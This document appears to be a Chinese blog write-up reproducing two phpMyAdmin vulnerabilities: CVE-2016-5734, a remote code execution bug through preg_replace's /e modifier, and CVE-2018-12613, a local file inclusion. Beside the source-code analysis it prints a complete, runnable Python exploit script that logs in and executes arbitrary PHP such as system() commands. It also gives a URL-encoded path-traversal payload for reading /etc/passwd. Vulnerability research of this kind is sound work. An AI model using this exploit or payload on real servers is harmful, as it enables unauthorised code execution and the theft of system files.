phpmyadmin的几个漏洞复现#
phpMyAdmin 是众多 MySQL图形化管理工具中使用最为广泛的一种,是一款使用PHP 开发的基于B/S模式的 MySQL 客户端软件
phpMyAdmin 为Web 开发人员提供了类似 Access,SQL Server 的图形化数据库操作界面,通过该管理工具可以对 MySQL 进行各种操作,如何创建数据库,数据表和生成 MySQL 数据库脚本文件等。
CVE-2016-5734 Phpmyadmin后台代码执行漏洞#
主要是利用在php 5.4.7之前的版本中preg_replace函数对空字节的错误处理Bug,使注入的代码可远程执行.
影响版本#
- 4.6.x 版本(直至 4.6.3)
- 4.4.x 版本(直至 4.4.15.7)
- 4.0.x 版本(直至 4.0.10.16)
- php版本: 4.3.0 ~5.4.6
php5.0以上将/e模式废弃了
漏洞分析#
preg_replace() 函数有个被弃用的修饰符\e,如果设置这个修饰符,preg_replace() 在进行了对替换字符串的替换之后, 将替换后的字符串作为php 代码进行执行,并使用执行结果 作为实际参与替换的字符串。
1
|
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
|
搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。
参数说明:
- $pattern: 要搜索的模式,可以是字符串或一个字符串数组。
- $replacement: 用于替换的字符串或字符串数组。
- $subject: 要搜索替换的目标字符串或字符串数组。
- $limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
- $count: 可选,为替换执行的次数
返回值#
如果 subject 是一个数组, preg_replace() 返回一个数组, 其他情况下返回一个字符串。
如果匹配被查找到,替换后的 subject 被返回,其他情况下 返回没有改变的 subject。如果发生错误,返回 NULL。
漏洞利用前提#
- 知道phpMyAdmin的路径,并且可以使用账号密码登录成功
- 知道对应db的table,或者在db中有创建table的权限
漏洞利用点#
本漏洞利用的是在/libraries/TableSearch.class.php中的preg_replace函数
preg_replace
在_getRegexReplaceRows
中被使用,而_getRegexReplaceRows
则是被调用于getReplacePreview
,可以看到preg_replace
调用了三个参数分别是find
,replaceWith
,row[0]
,接下来要对这三个参数进行溯源
并且参数find
与参数replacement
都是经过该方法所传递的,
接着溯源发现getReplacePreview
在 tbl_find_replace.php
中被使用,同时 find
与 replaceWith
参数经POST方法进行传递
而tbl_find_replace.php
提供的查找并替换数据表的功能/该功能时针对某一数据库中的数据表进行的查询功能
其中查找对应find
,替换为对应replaceWith
,于是前两个参数都发现是可控的,接下来就差row[0]这个参数了
可以看到row
来自result
result
来自Sql_query
接着跟sql_query
sql语句大概整理如下
1
2
3
4
5
6
|
SELECT $columnname ,1,cont(*)
FROM database.table_name
WHERE $columnname RLIKE ‘$find’
COLLATE $charset_bin
GROUP BY $columnname
ORDER BY $column ASC;
|
并将这个查询后的值作为键值对的第一个值给了 preg_replace
函数的作为第三个参数。
PMA_TableSearch
类的构造方法
在tbl_find_replace.php
使用了这个类
接下来回溯db
和table
两个参数
发现在 /libraries/common.inc.php
中有定义
发现可以通过request
方法来接收变量将他变成全局变量
db
即为数据库,table
为数据表,所以第三个参数row[0]
,经过对刚刚sql语句的分析,获取到的内容为指定数据库的指定数据表内的第一个字段值 ,至此三个参数均可控制
漏洞利用#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
|
#!/usr/bin/env python
"""cve-2016-5734.py: PhpMyAdmin 4.3.0 - 4.6.2 authorized user RCE exploit
Details: Working only at PHP 4.3.0-5.4.6 versions, because of regex break with null byte fixed in PHP 5.4.7.
CVE: CVE-2016-5734
Author: https://twitter.com/iamsecurity
run: ./cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"
"""
import requests
import argparse
import sys
__author__ = "@iamsecurity"
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument("url", type=str, help="URL with path to PMA")
parser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()")
parser.add_argument("-u", "--user", required=True, type=str, help="Valid PMA user")
parser.add_argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user")
parser.add_argument("-d", "--dbs", type=str, help="Existing database at a server")
parser.add_argument("-T", "--table", type=str, help="Custom table name for exploit.")
arguments = parser.parse_args()
url_to_pma = arguments.url
uname = arguments.user
upass = arguments.pwd
if arguments.dbs:
db = arguments.dbs
else:
db = "test"
token = False
custom_table = False
if arguments.table:
custom_table = True
table = arguments.table
else:
table = "prgpwn"
if arguments.cmd:
payload = arguments.cmd
else:
payload = "system('uname -a');"
size = 32
s = requests.Session()
# you can manually add proxy support it's very simple ;)
# s.proxies = {'http': "127.0.0.1:8080", 'https': "127.0.0.1:8080"}
s.verify = False
sql = '''CREATE TABLE `{0}` (
`first` varchar(10) CHARACTER SET utf8 NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500'));
'''.format(table)
# get_token
resp = s.post(url_to_pma + "/?lang=en", dict(
pma_username=uname,
pma_password=upass
))
if resp.status_code is 200:
token_place = resp.text.find("token=") + 6
token = resp.text[token_place:token_place + 32]
if token is False:
print("Cannot get valid authorization token.")
sys.exit(1)
if custom_table is False:
data = {
"is_js_confirmed": "0",
"db": db,
"token": token,
"pos": "0",
"sql_query": sql,
"sql_delimiter": ";",
"show_query": "0",
"fk_checks": "0",
"SQL": "Go",
"ajax_request": "true",
"ajax_page_request": "true",
}
resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies))
if resp.status_code == 200:
if "success" in resp.json():
if resp.json()["success"] is False:
first = resp.json()["error"][resp.json()["error"].find("<code>")+6:]
error = first[:first.find("</code>")]
if "already exists" in error:
print(error)
else:
print("ERROR: " + error)
sys.exit(1)
# build exploit
exploit = {
"db": db,
"table": table,
"token": token,
"goto": "sql.php",
"find": "0/e\0",
"replaceWith": payload,
"columnIndex": "0",
"useRegex": "on",
"submit": "Go",
"ajax_request": "true"
}
resp = s.post(
url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies)
)
if resp.status_code == 200:
result = resp.json()["message"][resp.json()["message"].find("</a>")+8:]
if len(result):
print("result: " + result)
sys.exit(0)
print(
"Exploit failed!\n"
"Try to manually set exploit parameters like --table, --database and --token.\n"
"Remember that servers with PHP version greater than 5.4.6"
" is not exploitable, because of warning about null byte in regexp"
)
sys.exit(1)
|
用exp-db的exp可以直接打大概是先建好一个名为prgpwn
的数据库再在里面建一个叫first
的字段,这样就知道了db对应的table,接了下来就利用%00截断来使preg_replace被
e修饰符所修饰
即使用find=
0/e\0,replaceWith
=payload
最终类似于执行
1
2
3
|
<?php
echo preg_replace("/0/e","system('xxxx');","0/e");
?>
|
CVE-2018-12613本地文件包含漏洞#
影响版本#
- phpmyadmin 4.8.0
- phpmyadmin 4.8.0.1
- phpmyadmin 4.8.1
漏洞分析#
漏洞利用点在index.php里的以下代码
target
可以传入一个值,然后可以利用这个target
来进行文件包含,用来达到本地文件包含
想要达到这个目的,那么target需要满足&&后面的几个条件,即以下条件
- 不能为空
- 是字符串
- 不能以
index
开头
- 不在黑名单
target_blacklist
中
- 可以通过函数
checkPageValidity
的验证
黑名单要求参数不是import.php
或 export.php
就行
接下来那就来看看checkPageValidity
函数是怎么验证的
函数定义在\libraries\classes\Core.php
要通过验证,既要函数返回true
则包含的文件必须包含在白名单whitelist
中
那我们先去看看白名单有啥
接下来分析以下check函数几种返回true的情况,看看有没有可以利用的
第一个是直接看在不在白名单里,没有操作空间
再来看看第二个
这里涉及两个函数mb_substr和mb_strpos
mb_substr的定义,简单来说这个函数就是获取子字符串
1
2
3
4
5
6
|
mb_substr(
string $str,
int $start,
int $length = NULL,
string $encoding = mb_internal_encoding()
): string
|
参数解释
- **
str
**从该 string 中提取子字符串。
- **
start
**如果 start
不是负数,返回的字符串会从 str
第 start
的位置开始,从 0 开始计数。举个例子,字符串 ‘abcdef
’,位置 0
的字符是 ‘a
’,位置 2
的字符是 ‘c
’,以此类推。
如果 start
是负数,返回的字符串是从 str
末尾处第 start
个字符开始的。
length str
中要使用的最大字符数。如果省略了此参数或者传入了 NULL
,则会提取到字符串的尾部。
encoding encoding
参数为字符编码。如果省略或是 null
,则使用内部字符编码。
返回值
mb_substr() 函数根据 start 和 length 参数返回 str 中指定的部分。
而mb_strpos,简单来说就是查找字符串在另一个字符串中首次出现的位置
1
2
3
4
5
6
|
mb_strpos(
string $haystack,
string $needle,
int $offset = 0,
string $encoding = mb_internal_encoding()
): int
|
参数解释
- **
haystack
**要被检查的 string。
- **
needle
**在 haystack
中查找这个字符串。 和 strpos()
不同的是,数字的值不会被当做字符的顺序值。
- **
offset
**搜索位置的偏移。如果没有提供该参数,将会使用 0。负数的 offset 会从字符串尾部开始统计。
encoding
参数为字符编码。如果省略或是 null
,则使用内部字符编码。
返回值
返回 string 的 haystack 中 needle 首次出现位置的数值。 如果没有找到 needle,它将返回 false。
了解两个函数以后,那这个返回true的条件就是?后面的字符串要满足白名单,也暂时无法找到利用方法
于是来看第三个返回true
比起第二个返回true的地方,多了一个urldecode
函数
那就简单了这里用url全编码方式对?进行编码就可以绕过。
1
|
payload:/index.php?target=db_sql.php%3f/../../../../../../../../etc/passwd
|